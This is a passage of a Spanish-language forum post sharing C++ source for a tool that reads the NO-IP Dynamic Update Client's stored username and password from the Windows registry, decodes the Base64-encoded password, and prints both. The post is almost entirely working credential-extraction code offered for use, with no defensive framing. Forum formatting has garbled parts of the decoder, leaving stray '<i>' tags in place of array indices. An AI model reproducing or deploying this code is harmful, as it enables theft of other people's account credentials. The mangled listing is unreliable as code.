de NO-IP, espero que les Sirva.
El Algoritmo de Decodificacion Base64 no lo hize yo(Pero lo Modifique Bastante), en el source estan
los Creditos del Autor.
PD: por ahi van a encontrar uno que otro error de SINTAXYs ya que lo tenia posteado en otro foro y me cambia los por <i> y otras cosas mas, cualquier cosa pregunten nomas.
Código: Seleccionar todo
////////////////////////////////////
/////Coded By Heart.of.dragon///////
/////Saca Contraseñas de ////////
/////NO-IP ////////
////////////////////////////////////
////////////////////////////////////
//// Mail : ////////
//// [email protected]/////
////////////////////////////////////
#include <windows.h>
#include <cstdio>
#include "DecodeBase64.h"
using namespace std;
char NombeUsuario[100] = {"\0"};
char TempPass[50] = {"\0"};
char PassWord[50] = {"\0"};
int ObtenerDatos()
{
HKEY hkey;
DWORD Val = 0;
DWORD Size1 = 100;
DWORD Size2 = 50;
if((RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Vitalwerks\\DUC\\",0,KEY_READ,&hkey))!= ERROR_SUCCESS)
{
return -1;
}
RegQueryValueEx(hkey,"Username",0,&Val,(LPBYTE)NombeUsuario,&Size1);
RegQueryValueEx(hkey,"Password",0,&Val,(LPBYTE)TempPass,&Size2);
RegCloseKey(hkey);
return 0;
}
void Print()
{
printf("\n\t Pass NO-IP.\n\n");
printf("User : ");
printf(NombeUsuario);
printf("\n");
printf("Pass : ");
printf(PassWord);
printf("\n");
printf("-----------------------------------------\n");
}
int main()
{
ObtenerDatos();
decode(TempPass,PassWord);
Print();
system("pause");
return 0;
}
DecodeBase64.h
Código: Seleccionar todo
/*
AUTHOR: Bob Trower 08/04/01
PROJECT: Crypt Data Packaging
COPYRIGHT: Copyright (c) Trantor Standard Systems Inc., 2001
NOTE: This source code may be used as you wish, subject to
the MIT license. See the LICENCE section below.
*/
static const char cb64[]="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
static const char cd64[]="|$$$}rstuvwxyz{$$$$$$$>?@ABCDEFGHIJKLMNOPQRSTUVW$$$$$$XYZ[\\]^_`abcdefghijklmnopq";
void decodeblock( unsigned char in[4], unsigned char out[3] )
{
out[ 0 ] = (unsigned char ) (in[0] << 2 | in[1] >> 4);
out[ 1 ] = (unsigned char ) (in[1] << 4 | in[2] >> 2);
out[ 2 ] = (unsigned char ) (((in[2] << 6) & 0xc0) | in[3]);
}
void decode( char *Cad1, char* Cad2 )
{
unsigned char in[4], out[3], v;
int i, len;
while( *Cad1 != '\0' ) {
for( len = 0, i = 0; (i < 4) && (*Cad1 != '\0'); i++ ) {
v = 0;
while( (*Cad1 != '\0') && (v == 0) ) {
v = (unsigned char) *Cad1;
v = (unsigned char) ((v < 43 || v > 122) ? 0 : cd64[ v - 43 ]);
if( v ) {
v = (unsigned char) ((v == '$') ? 0 : v - 61);
*Cad1++;
}
}
if( *Cad1 != '\0' ) {
len++;
if( v ) {
in[ i ] = (unsigned char) (v - 1);
}
}
else {
in<i> = 0;
}
}
if( len ) {
decodeblock( in, out );
for( i = 0; i < len - 1; i++ ) {
*Cad2 = out<i>;
*Cad2++;
}
}
}
}
</i></i>